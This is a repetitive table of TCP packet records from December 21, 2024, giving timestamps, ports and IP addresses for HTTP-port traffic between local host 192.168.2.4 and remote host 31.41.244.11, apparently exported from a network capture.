Dec 21, 2024 18:16:14.594254971 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.594295025 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.731406927 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.731432915 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.731482983 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.731503963 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.731739998 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.731770992 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.731791019 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.731806040 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.732502937 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.732553005 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.732678890 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.732727051 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.733530045 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.733580112 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.733652115 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.733700037 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.734626055 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.734673977 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.734829903 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.734878063 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.735714912 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.735764027 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.735768080 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.735802889 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.736727953 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.736773014 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.736845016 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.736891985 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.737803936 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.737859964 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.737899065 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.737946033 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.738830090 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.738878965 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.738960981 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.739006042 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.739938021 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.739967108 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.739988089 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.740011930 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.741000891 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.741055965 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.741084099 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.741132021 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.742029905 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.742100000 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.742259026 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.742305994 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.743068933 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.743118048 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.743165016 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.743211985 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.744126081 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.744164944 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.744226933 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.744272947 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.745206118 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.745254040 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.745335102 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.745378971 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.746339083 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.746386051 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.746409893 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.746459007 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.747591972 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.747641087 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.747656107 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.747699976 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.748437881 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.748483896 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.748486996 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.748532057 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.749521971 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.749568939 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.749599934 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.749644041 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.750483036 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.750530958 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.750605106 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.750646114 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.751595974 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.751646042 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.751724958 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.751768112 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.752635002 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.752681017 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.752731085 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.752773046 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.753667116 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.753712893 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.753789902 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.753834009 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.754731894 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.754777908 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.754802942 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.754848957 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.755831003 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.755877018 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.755932093 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.755979061 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.756825924 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.756876945 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.756911993 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.756957054 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.757899046 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.757946014 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.758069992 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.758115053 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.759076118 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.759124994 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.759143114 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.759186983 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.760030985 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.760076046 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.760154009 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.760195971 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.761084080 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.761127949 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.761198044 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.761245012 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.762170076 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.762217999 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.762223005 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.762270927 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.763195038 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.763243914 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.763273001 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.763325930 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.764262915 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.764311075 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.764339924 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.764384985 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.765289068 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.765336037 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.765393972 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.765436888 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.766349077 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.766395092 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.766565084 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.766609907 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.767417908 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.767467022 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.767589092 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.767636061 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.768512011 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.768558979 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.768702984 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.768753052 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.769551992 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.769597054 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.769689083 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.769733906 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.770664930 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.770690918 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.770711899 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.770724058 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.771682024 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.771733999 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.771797895 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.771842003 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.772747993 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.772794962 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.772804022 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.772847891 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.773782015 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.773828983 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.773858070 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.773901939 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.774836063 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.774880886 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.774882078 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.774926901 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.775886059 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.775933027 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.776000023 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.776040077 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.777265072 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.777282000 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.777311087 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.777332067 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.778155088 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.778209925 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.778211117 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.778247118 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.779098988 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.779144049 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.779172897 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.779215097 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.780108929 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.780154943 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.780184031 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.780230045 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.781186104 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.781229973 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.781269073 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.781313896 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.782236099 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.782274961 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.782355070 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.782397032 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.783344984 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.783374071 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.783401012 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.783428907 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.784368992 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.784437895 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.784470081 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.784513950 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.785423994 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.785469055 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.785531044 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.785581112 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.786444902 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.786488056 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.923409939 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.923434019 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.923480034 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.923504114 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.923604012 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.923651934 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.923666954 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.923710108 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.924639940 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.924711943 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.924757957 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.924802065 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.925688028 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.925738096 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.925792933 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.925837994 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.926795959 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.926846027 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.926892996 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.926944971 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.927917004 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.927966118 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.928070068 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.928114891 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.928885937 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.928932905 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.928977013 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.929023027 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.929903030 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.929949999 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.930005074 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.930052042 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.930973053 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.931027889 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.931132078 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.931174994 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.932034969 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.932081938 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.932178020 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.932220936 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.933092117 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.933147907 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.933218002 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.933263063 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.934145927 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.934195042 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.934241056 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.934286118 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.935209990 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.935278893 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.935333967 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.935379028 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.936276913 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.936326027 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.936393976 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.936439037 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.937350035 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.937397957 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.937437057 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.937484980 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.938374043 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.938419104 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.938544035 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.938591003 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.939435005 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.939485073 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.939517975 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.939575911 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.940519094 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.940567970 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.940567970 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.940613985 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.941616058 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.941662073 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.941766024 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.941811085 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.942830086 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.942898035 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.943022013 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.943062067 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.943924904 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.943980932 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.944052935 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.944101095 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.945168972 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.945220947 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.945312977 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.945382118 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.946257114 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.946307898 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.946381092 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.946430922 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.947165966 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.947218895 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.947258949 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.947307110 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.948151112 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.948203087 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.948247910 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.948296070 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.949031115 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.949083090 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.949146032 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.949187994 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.950128078 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.950180054 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.950242996 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.950299025 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.951121092 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.951179028 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.951224089 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.951268911 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.952133894 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.952184916 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.952255964 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.952301979 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.953217983 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.953241110 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.953269005 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.953284979 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.954263926 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.954317093 CET	49770	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:14.954396009 CET	80	49770	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:14.954444885 CET	49770	80	192.168.2.4	31.41.244.11
